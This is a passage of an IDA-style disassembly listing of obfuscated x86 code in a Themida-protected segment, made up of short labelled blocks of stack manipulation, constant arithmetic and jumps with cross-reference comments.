ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5504BE ; --------------------------------------------------------------------------- loc_551A69: ; CODE XREF: Themida_:00564182j pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_550420 ; --------------------------------------------------------------------------- loc_551A78: ; CODE XREF: Themida_:0055B882j xor dh, al pop ax sub dh, 0CFh dec dh jmp loc_55165E ; --------------------------------------------------------------------------- loc_551A86: ; CODE XREF: Themida_:00550A99j mov eax, ecx pop ecx shl eax, 4 or eax, 7B873ACAh push edx mov edx, 37AF21ABh or eax, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_55FF02 ; --------------------------------------------------------------------------- loc_551AA8: ; CODE XREF: Themida_:00557E69j sub ebx, ebp mov ebp, ebx pop ebx and ebp, 5B567E58h xor ebp, 37FF38C6h add ebx, ebp pop ebp dec ebx push esi mov esi, 0B0E4FF1h and ebx, esi mov esi, [esp] add esp, 4 jmp loc_563426 ; --------------------------------------------------------------------------- loc_551AD0: ; CODE XREF: Themida_:005566FEj pop ebx xchg ebx, ebp xchg ebp, [esp] jmp loc_560B20 ; --------------------------------------------------------------------------- loc_551ADB: ; CODE XREF: Themida_:005566DFj push eax mov eax, 4D2250F1h inc eax not eax xor eax, 0DF04F59Eh mov ebp, eax pop eax mov esi, ebp pop ebp or esi, 426D4196h dec esi push ebp push eax jmp loc_55AD27 ; --------------------------------------------------------------------------- loc_551AFD: ; CODE XREF: Themida_:0055DAE1j xor dx, 6F4Fh push ecx mov cx, 12F0h inc cx jmp loc_5624A2 ; --------------------------------------------------------------------------- loc_551B0E: ; CODE XREF: Themida_:00550D6Fj and edx, 26E14B57h or edx, 67AC36E3h jmp loc_553D07 ; --------------------------------------------------------------------------- loc_551B1F: ; CODE XREF: Themida_:005590F5j mov esi, 37980DB8h jmp loc_562A53 ; --------------------------------------------------------------------------- loc_551B29: ; CODE XREF: Themida_:0056311Fj mov edi, [esp] jmp loc_552BDC ; --------------------------------------------------------------------------- loc_551B31: ; CODE XREF: Themida_:0055FA17j sub ch, 0Dh xor ch, 88h xor ch, 4 add al, ch pop ecx add al, dl sub al, 7Fh push edx mov dh, 0ECh jmp loc_55A4B5 ; --------------------------------------------------------------------------- loc_551B49: ; CODE XREF: Themida_:005573CDj mov [esp], esi jmp loc_55FF64 ; --------------------------------------------------------------------------- loc_551B51: ; CODE XREF: Themida_:00550949j xchg esi, [esp] pop esp jmp loc_557466 ; --------------------------------------------------------------------------- loc_551B5A: ; CODE XREF: Themida_:005572FFj mov edx, [esp] add esp, 4 add eax, esi jmp loc_557127 ; --------------------------------------------------------------------------- loc_551B67: ; CODE XREF: Themida_:00564776j pop eax xchg ebx, [esp] jmp loc_55EE97 ; --------------------------------------------------------------------------- loc_551B70: ; CODE XREF: Themida_:0055CF9Cj add esp, 4 jmp loc_55195A ; --------------------------------------------------------------------------- loc_551B78: ; CODE XREF: Themida_:0055719Cj mov edi, 5FDD2D5Dh jmp loc_55AE0E ; --------------------------------------------------------------------------- loc_551B82: ; CODE XREF: Themida_:00555BE6j mov eax, esp jmp loc_558FBC ; --------------------------------------------------------------------------- loc_551B89: ; CODE XREF: Themida_:0055BC2Cj xchg edx, esi not edx xchg edx, esi sub esp, 4 mov [esp], eax jmp loc_5585B6 ; --------------------------------------------------------------------------- loc_551B9D: ; CODE XREF: Themida_:00563FC7j push edi push esp pop edi add edi, 4 jmp loc_550FE7 ; --------------------------------------------------------------------------- loc_551BAB: ; CODE XREF: Themida_:0055D2C2j neg ebp xchg eax, ebp xchg eax, esi not esi xchg eax, esi jmp loc_559A20 ; --------------------------------------------------------------------------- loc_551BB7: ; CODE XREF: Themida_:0056191Fj push esi jmp loc_554921 ; --------------------------------------------------------------------------- loc_551BBD: ; CODE XREF: Themida_:0055709Cj add ecx, 0F7E0A42Dh and edi, ecx pop ecx jmp loc_5594FF ; --------------------------------------------------------------------------- loc_551BCB: ; CODE XREF: Themida_:0055BD7Cj pop eax add bl, al add bl, 0F6h add bl, 0EAh movzx eax, al jmp loc_558799 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ecx mov ecx, 183E004Ah shr ecx, 5 jmp loc_55D90F ; --------------------------------------------------------------------------- loc_551BED: ; CODE XREF: Themida_:00556657j xchg ebx, ebp push esi push eax push 11752EB5h pop eax mov esi, eax jmp loc_5551C6 ; --------------------------------------------------------------------------- loc_551BFE: ; CODE XREF: Themida_:00559FFAj mov [esp], eax push esp mov eax, [esp] jmp loc_55831E ; --------------------------------------------------------------------------- loc_551C0A: ; CODE XREF: Themida_:00560614j push 6889h mov [esp], esp add dword ptr [esp], 4 jmp loc_551016 ; --------------------------------------------------------------------------- loc_551C1E: ; CODE XREF: Themida_:00553AF1j sub bl, ch jmp loc_5553B0 ; --------------------------------------------------------------------------- loc_551C25: ; CODE XREF: Themida_:005596CBj mov ax, [esp] push eax push 5AC7h push esp jmp loc_564A89 ; --------------------------------------------------------------------------- loc_551C35: ; CODE XREF: Themida_:0055DA82j xchg edx, [esp] jmp loc_55DBE0 ; --------------------------------------------------------------------------- loc_551C3D: ; CODE XREF: Themida_:0055BD09j push esi mov esi, 0A4C336Eh inc esi xor esi, 78FD233Fh neg esi jmp loc_55E1A6 ; --------------------------------------------------------------------------- loc_551C51: ; CODE XREF: Themida_:00561404j pop esi jmp loc_55C7F1 ; --------------------------------------------------------------------------- loc_551C57: ; CODE XREF: Themida_:0055FAAAj sub edx, 1 shl edx, 6 shl edx, 8 add edx, 18263972h xor edx, 0F5CF872h and eax, edx pop edx shr eax, 8 xor eax, ecx push ecx push esp pop ecx jmp loc_553D54 ; --------------------------------------------------------------------------- loc_551C7F: ; CODE XREF: Themida_:00553B99j push edx push esp pop edx push 26F9h mov [esp], ebx mov ebx, 704E543Dh sub ebx, 704E5439h jmp loc_55EBDD ; --------------------------------------------------------------------------- loc_551C9A: ; CODE XREF: Themida_:00554E28j mov ebp, 4 add edi, ebp pop ebp jmp loc_563AAC ; --------------------------------------------------------------------------- loc_551CA7: ; CODE XREF: Themida_:00555F6Cj push ecx mov ecx, 4 jmp loc_55FCCB ; --------------------------------------------------------------------------- loc_551CB2: ; CODE XREF: Themida_:00552593j sub esp, 4 jmp loc_559BDA ; --------------------------------------------------------------------------- loc_551CBA: ; CODE XREF: Themida_:005546B3j mov al, 0BAh sub al, dh pop edx xor al, 0C7h jmp loc_55C9A9 ; --------------------------------------------------------------------------- loc_551CC6: ; CODE XREF: Themida_:00552636j xor edi, 0B4DAD817h sub esp, 4 mov [esp], ebx jmp loc_55FEA6 ; --------------------------------------------------------------------------- loc_551CD7: ; CODE XREF: Themida_:00551DDAj add edi, 26E764BFh jmp loc_558F3D ; --------------------------------------------------------------------------- loc_551CE2: ; CODE XREF: Themida_:0055362Dj add edi, 4701749Eh inc edi jmp loc_55F855 ; --------------------------------------------------------------------------- loc_551CEE: ; CODE XREF: Themida_:0055C72Ej mov ebx, 4E690E6Eh and ebx, 338D186Ch shr ebx, 7 xor ebx, 75F51466h push ebp mov ebp, 8A0EF98Bh add ebx, 2A1C1333h jmp loc_558442 ; --------------------------------------------------------------------------- loc_551D13: ; CODE XREF: Themida_:00558B74j xor eax, ebp jmp loc_553783 ; --------------------------------------------------------------------------- loc_551D1A: ; CODE XREF: Themida_:0055E564j shr ebx, 6 and ebx, 3487276Bh shl ebx, 4 xor ebx, 6216B2h sub esi, ebx pop ebx push esi push dword ptr [esp+4] push dword ptr [esp] pop esi add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], dx jmp loc_559A17 ; --------------------------------------------------------------------------- loc_551D4D: ; CODE XREF: Themida_:0055A29Aj mov [esp], edx push 2782h mov [esp], eax jmp loc_551F88 ; --------------------------------------------------------------------------- loc_551D5D: ; CODE XREF: Themida_:00559510j pop edi push ebp mov ebp, 499E65DAh jmp loc_55B283 ; --------------------------------------------------------------------------- loc_551D69: ; CODE XREF: Themida_:0056535Dj or esi, 73DE5971h dec esi dec esi sub esi, 0D0E9AFB8h sub ecx, esi jmp loc_563DCE ; --------------------------------------------------------------------------- loc_551D7E: ; CODE XREF: Themida_:005564C0j push edi push ecx mov ecx, 7C7E310Dh neg ecx jmp loc_550F96 ; --------------------------------------------------------------------------- loc_551D8C: ; CODE XREF: Themida_:00561341j pop edx add esp, 4 jmp loc_56284D ; --------------------------------------------------------------------------- loc_551D95: ; CODE XREF: Themida_:00557585j pop eax add esi, 0D29CEC93h add eax, esi pop esi push 36BCh mov [esp], edx jmp loc_563C33 ; --------------------------------------------------------------------------- loc_551DAC: ; CODE XREF: Themida_:00563858j push 224Bh push esp pop dword ptr [esp] push eax mov eax, 4 jmp loc_556DD8 ; --------------------------------------------------------------------------- loc_551DC0: ; CODE XREF: Themida_:0055F5FBj mov [esp], ebx mov ebx, 343BDD2Dh push ebp mov ebp, 56A732BFh push edi mov edi, 4792753Dh or edi, 63D67C85h jmp loc_551CD7 ; --------------------------------------------------------------------------- loc_551DDF: ; CODE XREF: Themida_:0055C0B3j shr edx, 5 shl edx, 5 add edx, 1 jmp loc_55DD4A ; --------------------------------------------------------------------------- loc_551DED: ; CODE XREF: Themida_:00555445j pop edx mov edx, edi mov edi, [esp] add esp, 4 add edx, edi sub esp, 4 mov [esp], ecx jmp loc_552B89 ; --------------------------------------------------------------------------- loc_551E09: ; CODE XREF: Themida_:0055C340j sub esp, 4 jmp loc_56565A ; --------------------------------------------------------------------------- loc_551E11: ; CODE XREF: Themida_:00561B51j push edi mov edi, 29E84E7Dh sub edi, 6F6027F8h neg edi add edi, 0EAE357E6h mov eax, edi pop edi sub esp, 4 jmp loc_550C8D ; --------------------------------------------------------------------------- loc_551E33: ; CODE XREF: Themida_:0056222Fj rol dword ptr [esp], cl pushf jmp loc_565217 ; --------------------------------------------------------------------------- loc_551E3C: ; CODE XREF: Themida_:00562244j mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax jmp loc_560665 ; --------------------------------------------------------------------------- loc_551E52: ; CODE XREF: Themida_:005598CBj add eax, 4 xchg eax, [esp] jmp loc_55869C ; --------------------------------------------------------------------------- loc_551E5D: ; CODE XREF: Themida_:0055DFCAj pop esi jmp loc_5561D0 ; --------------------------------------------------------------------------- loc_551E63: ; CODE XREF: Themida_:005566D9j add esi, edx jmp loc_556202 ; --------------------------------------------------------------------------- loc_551E6A: ; CODE XREF: Themida_:005658D1j push edx push small 2C5Bh jmp loc_55DADF ; --------------------------------------------------------------------------- loc_551E74: ; CODE XREF: Themida_:0055B954j sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_55F74E ; --------------------------------------------------------------------------- loc_551E85: ; CODE XREF: Themida_:00555D76j push ebx jmp loc_55A411 ; --------------------------------------------------------------------------- loc_551E8B: ; CODE XREF: Themida_:00562649j add edx, 10E43F91h jmp loc_55B3CF ; --------------------------------------------------------------------------- loc_551E96: ; CODE XREF: Themida_:0055A7EAj sub ebp, 8BF3020h add ebp, edi jmp loc_56229A ; --------------------------------------------------------------------------- loc_551EA3: ; CODE XREF: Themida_:00558332j push 0E4FC6C1Eh pop edx jmp loc_5570CA ; --------------------------------------------------------------------------- loc_551EAE: ; CODE XREF: Themida_:0055EE16j add ebx, 2F4C11E4h shl ebx, 2 or ebx, 72177CF1h shl ebx, 8 jmp loc_5566E4 ; --------------------------------------------------------------------------- loc_551EC5: ; CODE XREF: Themida_:0055D025j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_552503 ; --------------------------------------------------------------------------- loc_551ED9: ; CODE XREF: Themida_:0055281Ej push 52E8h mov [esp], ebx push eax push ecx mov ch, dl push edx mov dh, ch mov al, dh jmp loc_55A7C2 ; --------------------------------------------------------------------------- loc_551EEF: ; CODE XREF: Themida_:00561A7Ej push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_557187 ; --------------------------------------------------------------------------- loc_551F02: ; CODE XREF: Themida_:0055A3A7j pop ebx add edx, ebp pop ebp jmp loc_55E34D ; --------------------------------------------------------------------------- loc_551F0B: ; CODE XREF: Themida_:00558697j pop bx push small 0D69h jmp loc_563697 ; --------------------------------------------------------------------------- loc_551F16: ; CODE XREF: Themida_:0055CDFBj xor bl, 2Eh sub bl, 0Ah add al, 0C8h add al, bl sub al, 0C8h pop ebx sub al, bl sub al, 0C7h push ecx jmp loc_557190 ; --------------------------------------------------------------------------- loc_551F2D: ; CODE XREF: Themida_:0055B1B0j add esi, 4 push ecx mov ecx, 44417038h shr ecx, 5 dec ecx inc ecx xor ecx, 2220B85h add esi, ecx pop ecx xchg esi, [esp] pop esp shr edi, 3 neg edi add edi, 611EB5Fh mov ecx, edi jmp loc_55E0F6 ; --------------------------------------------------------------------------- loc_551F5D: ; CODE XREF: Themida_:0055DA9Ej sub ebp, 0F9235C2h jmp loc_55E274 ; --------------------------------------------------------------------------- loc_551F68: ; CODE XREF: Themida_:0055060Dj inc ebp jmp loc_555904 ; --------------------------------------------------------------------------- loc_551F6E: ; CODE XREF: Themida_:005626C5j pop ebx sub ebx, 4FE760D0h sub ebx, edi add ebx, 4FE760D0h mov edi, [esp] add esp, 4 jmp loc_553F9F ; --------------------------------------------------------------------------- loc_551F88: ; CODE XREF: Themida_:00551D58j push dword ptr [esp] mov edx, [esp] jmp loc_5517C3 ; --------------------------------------------------------------------------- loc_551F93: ; CODE XREF: Themida_:00557B5Bj push eax mov eax, esp add eax, 4 push ecx mov ecx, 4 sub eax, ecx pop ecx xchg eax, [esp] jmp loc_559228 ; --------------------------------------------------------------------------- loc_551FAC: ; CODE XREF: Themida_:005533CAj push edx jmp loc_555F07 ; --------------------------------------------------------------------------- loc_551FB2: ; CODE XREF: Themida_:00556CDCj add ebx, 722EE0A8h add ebp, 1EB25EA9h add ebp, 5E97563Dh add ebp, ebx jmp loc_565A3C ; --------------------------------------------------------------------------- loc_551FCB: ; CODE XREF: Themida_:0055895Bj xor ebp, 66D13196h mov ecx, ebp pop ebp xor ecx, 278345CEh push esi mov esi, 77ED25C1h shl esi, 7 add esi, 5D8573B8h shl esi, 2 sub esi, 4040047Ch jmp loc_55DE2C ; --------------------------------------------------------------------------- loc_551FF7: ; CODE XREF: Themida_:005561F1j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ecx jmp loc_55500C ; --------------------------------------------------------------------------- loc_55200C: ; CODE XREF: Themida_:005620B2j mov ebp, [esp] jmp loc_55E3EE ; --------------------------------------------------------------------------- loc_552014: ; CODE XREF: Themida_:0055B560j pop esp push ebp push esi jmp loc_555D9B ; --------------------------------------------------------------------------- loc_55201C: ; CODE XREF: Themida_:00553BF5j mov ebx, 28h sub ebx, 136F4FE2h add ebx, edi jmp loc_558288 ; --------------------------------------------------------------------------- loc_55202E: ; CODE XREF: Themida_:0055BAABj pop dword ptr [esp] sub esp, 4 mov [esp], ecx mov ecx, 4 add [esp+4], ecx pop ecx mov esi, [esp] jmp loc_5621DA ; --------------------------------------------------------------------------- loc_552049: ; CODE XREF: Themida_:005637E5j mov eax, 363C04CEh sub ebp, eax pop eax add eax, ebp pop ebp sub esp, 4 mov [esp], ebx mov ebx, 562B2A64h sub eax, ebx pop ebx push dword ptr [esp] mov edx, [esp] jmp loc_553ABE ; --------------------------------------------------------------------------- loc_55206D: ; CODE XREF: Themida_:005599FFj sub ebx, 452848A4h jmp loc_551766 ; --------------------------------------------------------------------------- loc_552078: ; CODE XREF: Themida_:00564C04j mov [esp], ebp xchg edx, [esp] jmp loc_559B66 ; --------------------------------------------------------------------------- loc_552083: ; CODE XREF: Themida_:0055FDDAj sub ebp, edx pop edx sub eax, 6A123BABh sub eax, 66624898h add eax, ebp add eax, 66624898h jmp loc_55DA6B ; --------------------------------------------------------------------------- loc_55209C: ; CODE XREF: Themida_:00561DDCj mov ebx, [esp] add esp, 4 xchg eax, [esp] pop esp mov cx, [esp] add esp, 2 jmp loc_553B43 ; --------------------------------------------------------------------------- loc_5520B2: ; CODE XREF: Themida_:00557AA6j add esp, 4 xor esi, 364A4E30h mov edx, esi jmp loc_5512C1 ; --------------------------------------------------------------------------- loc_5520C5: ; CODE XREF: Themida_:00559462j or edi, 2F305416h shr edi, 4 shr edi, 4 add edi, 4F030913h add ebx, edi pop edi jmp loc_55BBA5 ; --------------------------------------------------------------------------- loc_5520DF: ; CODE XREF: Themida_:005537C4j not ecx jmp loc_554160 ; --------------------------------------------------------------------------- loc_5520E6: ; CODE XREF: Themida_:005601F5j sub [edi+20h], ebp jmp loc_556907 ; --------------------------------------------------------------------------- loc_5520EE: ; CODE XREF: Themida_:00556B9Dj pop edi jmp loc_560309 ; --------------------------------------------------------------------------- loc_5520F4: ; CODE XREF: Themida_:005654CFj xor ebx, edi pop edi or edi, ebx pop ebx not edi xor edi, 80E049h and eax, edi push dword ptr [esp] jmp loc_55B656 ; --------------------------------------------------------------------------- loc_55210C: ; CODE XREF: Themida_:00558837j sub edx, 0FFFFFFFFh push eax mov eax, 194D016Dh xor edx, eax pop eax jmp loc_561168 ; --------------------------------------------------------------------------- loc_552120: ; CODE XREF: Themida_:0055B892j mov cx, ax jmp loc_557DFA ; --------------------------------------------------------------------------- loc_552128: ; CODE XREF: Themida_:0055922Cj mov ebx, 1E1144BFh neg ebx jmp loc_55D4DA ; --------------------------------------------------------------------------- loc_552134: ; CODE XREF: Themida_:005512F9j xor eax, 7E327D54h xor eax, 5A484D25h jmp loc_55F525 ; --------------------------------------------------------------------------- loc_552143: ; CODE XREF: Themida_:0055F717j push ebp jmp loc_55EE0E ; --------------------------------------------------------------------------- loc_552149: ; CODE XREF: Themida_:0055DBE9j pop ecx xchg eax, [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_552EF4 ; --------------------------------------------------------------------------- loc_552159: ; CODE XREF: Themida_:00553FBFj xor ebp, 1C98C7h jmp loc_5541CC ; --------------------------------------------------------------------------- loc_552164: ; CODE XREF: Themida_:0055C5F5j add eax, 7BC02B91h sub eax, 8880DDCh add eax, 62A2103Eh pop edx add eax, 4 xchg eax, [esp] mov esp, [esp] movsx ecx, al push 39AAh mov [esp], ecx jmp loc_550420 ; --------------------------------------------------------------------------- loc_55218D: ; CODE XREF: Themida_:005614C0j add ebx, 9DADE330h sub ebp, ebx jmp loc_55E71F ; --------------------------------------------------------------------------- loc_55219A: ; CODE XREF: Themida_:00562384j push ecx mov ecx, 308A34B9h sub [esp+8], ecx pop ecx mov ebp, [esp] add esp, 4 jmp loc_550420 ; --------------------------------------------------------------------------- loc_5521B0: ; CODE XREF: Themida_:005584E9j not dword ptr [esp] pop eax xor eax, 0A47D573Ah sub edx, eax pop eax jmp loc_55947A ; --------------------------------------------------------------------------- loc_5521C1: ; CODE XREF: Themida_:00556610j push 582Ah mov [esp], ebp push 913h mov [esp], esp add dword ptr [esp], 4 pop ebp push ecx jmp loc_553D8B ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_556BB6 ; --------------------------------------------------------------------------- loc_5521E4: ; CODE XREF: Themida_:0055777Aj push edi mov edi, 57212BEEh or edi, 18263805h shr edi, 1 jmp loc_564F03 ; --------------------------------------------------------------------------- loc_5521F7: ; CODE XREF: Themida_:00556BC9j mov [esp], edi push esp jmp loc_55230B ; --------------------------------------------------------------------------- mov ax, [esp] push 7EA6h mov [esp], ecx sub esp, 4 jmp loc_551483 ; --------------------------------------------------------------------------- loc_552214: ; CODE XREF: Themida_:005523EFj mov ebp, esi jmp loc_55C350 ; --------------------------------------------------------------------------- loc_55221B: ; CODE XREF: Themida_:005634BCj xor eax, 0ABAFF43Fh add ebx, eax pop eax jmp loc_55C4DA ; --------------------------------------------------------------------------- loc_552228: ; CODE XREF: Themida_:00556B22j pop edx neg eax xor eax, 0F4D3DBAAh xor ecx, eax jmp loc_565920 ; --------------------------------------------------------------------------- loc_552237: ; CODE XREF: Themida_:00564FB0j xor edx, [esp] mov esp, [esp] mov cx, [esp] jmp loc_55D331 ; --------------------------------------------------------------------------- loc_552246: ; CODE XREF: Themida_:00560251j mov [esp], ebp push ebx mov ebx, esp jmp loc_5620C2 ; --------------------------------------------------------------------------- loc_552251: ; CODE XREF: Themida_:00560A28j xor esi, 652F0A87h neg esi push edx mov edx, 3AD3A76h jmp loc_55BC87 ; --------------------------------------------------------------------------- loc_552264: ; CODE XREF: Themida_:00561F1Bj xor ecx, eax push 786Dh mov [esp], ebx push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 6342h mov [esp], ecx jmp loc_5531A8 ; --------------------------------------------------------------------------- loc_552291: ; CODE XREF: Themida_:00551438j sub esi, ecx pop ecx add esi, eax push ebx mov ebx, 711F42B8h dec ebx jmp loc_5507B8 ; --------------------------------------------------------------------------- loc_5522A2: ; CODE XREF: Themida_:00561430j push ebp mov ebp, 77D23EE0h push edx jmp loc_55354A ; --------------------------------------------------------------------------- loc_5522AE: ; CODE XREF: Themida_:0055AA80j add esp, 4 add edi, edx pop edx push 7E61h jmp loc_55EFD1 ; --------------------------------------------------------------------------- loc_5522C1: ; CODE XREF: Themida_:00554A2Ej push eax jmp loc_55322C ; --------------------------------------------------------------------------- loc_5522C7: ; CODE XREF: Themida_:0055CDD5j pop esp sub esp, 4 mov [esp], ebx mov ebx, 2 push edi mov edi, 373B10DEh add eax, edi pop edi add eax, ebx sub eax, 373B10DEh pop ebx push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_550EAF ; --------------------------------------------------------------------------- loc_5522F7: ; CODE XREF: Themida_:005639E1j mov [esp], esp jmp loc_55B08C ; --------------------------------------------------------------------------- loc_5522FF: ; CODE XREF: Themida_:00561C62j sub ax, dx pop edx add ax, bx jmp loc_557DDD ; --------------------------------------------------------------------------- loc_55230B: ; CODE XREF: Themida_:005521FBj pop edi add edi, 4 push ecx mov ecx, 2B7601E9h shr ecx, 7 and ecx, 0CC3560Eh and ecx, 527D3517h sub esp, 4 mov [esp], esi jmp loc_55911F ; --------------------------------------------------------------------------- loc_552335: ; CODE XREF: Themida_:00556284j add esp, 4 push ecx mov cl, 59h xor cl, 0E5h push eax jmp loc_558129 ; --------------------------------------------------------------------------- loc_552347: ; CODE XREF: Themida_:0056017Cj xor edx, [esp] jmp loc_5650AF ; --------------------------------------------------------------------------- loc_55234F: ; CODE XREF: Themida_:005594FAj pop edx jmp loc_56478E ; --------------------------------------------------------------------------- loc_552355: ; CODE XREF: Themida_:005627FEj add edi, 0CCDAE9B3h mov edx, edi pop edi jmp loc_55C56A ; --------------------------------------------------------------------------- loc_552363: ; CODE XREF: Themida_:00562DF0j sub [edi+24h], ebx push dword ptr [esp] pop ebx add esp, 4 loc_552370: ; CODE XREF: Themida_:0055F8CCj sub esp, 4 mov [esp], ebx push esp pop ebx jmp loc_55DE16 ; --------------------------------------------------------------------------- loc_552380: ; CODE XREF: Themida_:00559F0Aj push esp jmp loc_5557DC ; --------------------------------------------------------------------------- loc_552386: ; CODE XREF: Themida_:005533D8j sub ebx, ebp pop ebp jmp loc_5610ED ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_552398: ; CODE XREF: Themida_:00553E7Cj pop ebx jmp loc_55C66A ; --------------------------------------------------------------------------- loc_55239E: ; CODE XREF: Themida_:0055807Ej add ebx, eax push esi jmp loc_560DA5 ; --------------------------------------------------------------------------- loc_5523A6: ; CODE XREF: Themida_:00556041j pop esp pop dword ptr [esp] pop esp jmp loc_556EBB ; --------------------------------------------------------------------------- loc_5523B0: ; CODE XREF: Themida_:00553F9Aj not edx push ebx jmp loc_55E196 ; --------------------------------------------------------------------------- loc_5523B8: ; CODE XREF: Themida_:0055F7C4j xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_563284 ; --------------------------------------------------------------------------- loc_5523C6: ; CODE XREF: Themida_:0055FC47j push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esi mov esi, 80h jmp loc_552214 ; --------------------------------------------------------------------------- loc_5523F4: ; CODE XREF: Themida_:0055428Ej dec edi jmp loc_5508BA ; --------------------------------------------------------------------------- loc_5523FA: ; CODE XREF: Themida_:00552415j mov eax, 73E01CCAh inc eax sub eax, 73E01CC7h sub edi, 22DE353Ch add edi, eax jmp loc_554B3E ; --------------------------------------------------------------------------- loc_552412: ; CODE XREF: Themida_:005608A2j mov [esp], eax jmp loc_5523FA ; --------------------------------------------------------------------------- loc_55241A: ; CODE XREF: Themida_:005509CAj mov edx, [esp] jmp loc_557325 ; --------------------------------------------------------------------------- loc_552422: ; CODE XREF: Themida_:005594E2j or edx, 2602573Ah inc edx add edx, 589C2885h add ebx, edx pop edx add ebx, 4 xchg ebx, [esp] jmp loc_55AD9E ; --------------------------------------------------------------------------- loc_55243D: ; CODE XREF: Themida_:00551350j add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push edx jmp loc_55862A ; --------------------------------------------------------------------------- mov cx, [esp] push 30F2h mov [esp], ebx push esp pop ebx push eax mov eax, 4 add ebx, eax pop eax push ebp jmp loc_561498 ; --------------------------------------------------------------------------- loc_552472: ; CODE XREF: Themida_:0055534Bj xchg edi, [esp] pop esp jmp loc_565124 ; --------------------------------------------------------------------------- loc_55247B: ; CODE XREF: Themida_:00562CF8j mov edi, edx push dword ptr [esp] pop edx add esp, 4 push ecx push esi jmp loc_564AC5 ; --------------------------------------------------------------------------- loc_55248E: ; CODE XREF: Themida_:0055D049j push ebp jmp loc_55BF25 ; --------------------------------------------------------------------------- loc_552494: ; CODE XREF: Themida_:0055911Aj xor dl, 6Ch jmp loc_55D5C5 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebp push esp pop ebp push eax push esi mov esi, 501542D9h jmp loc_55B72F ; --------------------------------------------------------------------------- mov ax, [esp] push 1FCBh mov [esp], eax mov eax, esp push ecx mov ecx, 6BDE637Dh sub ecx, 2460380h inc ecx jmp loc_5543D6 ; --------------------------------------------------------------------------- loc_5524D0: ; CODE XREF: Themida_:00552BEFj push 164Fh mov [esp], ebx push edi mov edi, 4050B2Fh mov ebx, 40E007A2h xor ebx, edi jmp loc_55CC1F ; --------------------------------------------------------------------------- loc_5524EA: ; CODE XREF: Themida_:00555DBDj push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_55D97F ; --------------------------------------------------------------------------- loc_552503: ; CODE XREF: Themida_:00551ED4j pop esp jmp loc_553398 ; --------------------------------------------------------------------------- loc_552509: ; CODE XREF: Themida_:005643B2j push eax mov eax, esp add eax, 4 jmp loc_558603 ; --------------------------------------------------------------------------- loc_552516: ; CODE XREF: Themida_:00556269j pop esp shr edi, 1 jmp loc_552659 ; --------------------------------------------------------------------------- loc_55251E: ; CODE XREF: Themida_:00552F99j add edx, 10852FADh push 2C5Ch mov [esp], esi mov esi, 773230E3h sub edx, esi pop esi add edx, ecx add edx, 773230E3h jmp loc_558CFE ; --------------------------------------------------------------------------- loc_552541: ; CODE XREF: Themida_:00556B46j mov [esp], ecx jmp loc_55CD60 ; --------------------------------------------------------------------------- loc_552549: ; CODE XREF: Themida_:00553E83j mov edx, [esp] add esp, 4 push edi xchg ebp, [esp] neg ebp xchg ebp, [esp] jmp loc_55D454 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_552570: ; CODE XREF: Themida_:0055B79Bj mov [esp], ecx push 344h jmp loc_5540BE ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 4C88h mov [esp], ax jmp loc_550420 ; --------------------------------------------------------------------------- loc_55258E: ; CODE XREF: Themida_:0055CEC8j sub bl, al sub bl, 0Fh jmp loc_551CB2 ; --------------------------------------------------------------------------- loc_552598: ; CODE XREF: Themida_:005620DFj add esp, 4 add esi, 4 jmp loc_553CE1 ; --------------------------------------------------------------------------- loc_5525A9: ; CODE XREF: Themida_:0055B13Dj pop edi pop dword ptr [esp] jmp loc_559274 ; --------------------------------------------------------------------------- loc_5525B2: ; CODE XREF: Themida_:0055334Aj and bl, 1Bh jmp loc_550488 ; --------------------------------------------------------------------------- loc_5525BA: ; CODE XREF: Themida_:0055413Cj mov edx, 57E73E10h add edx, 690664B7h or edx, 539D7737h neg edx xor edx, 2C02080Dh add ebp, edx pop edx jmp loc_55609F ; --------------------------------------------------------------------------- loc_5525DB: ; CODE XREF: Themida_:0056599Bj xor [esp], edx xor edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx jmp loc_551544 ; --------------------------------------------------------------------------- loc_552606: ; CODE XREF: Themida_:0055C868j pop ecx mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_565901 ; --------------------------------------------------------------------------- loc_55261E: ; CODE XREF: Themida_:00560BDCj push 17A9h mov [esp], edi mov edi, 10275761h push edi not dword ptr [esp] pop edi sub edi, 0FFFFFFFFh jmp loc_551CC6 ; --------------------------------------------------------------------------- loc_55263B: ; CODE XREF: Themida_:00564BDCj mov ebx, eax pop eax jmp loc_55FE69 ; --------------------------------------------------------------------------- loc_552643: ; CODE XREF: Themida_:005558F9j mov [esp], eax push 2011h mov [esp], esp sub esp, 4 jmp loc_55FC95 ; --------------------------------------------------------------------------- loc_552659: ; CODE XREF: Themida_:00552519j add edi, 0CF8078FAh add eax, edi pop edi push eax jmp loc_55289E ; --------------------------------------------------------------------------- loc_552668: ; CODE XREF: Themida_:005504B9j add ecx, edi pop edi xchg ecx, 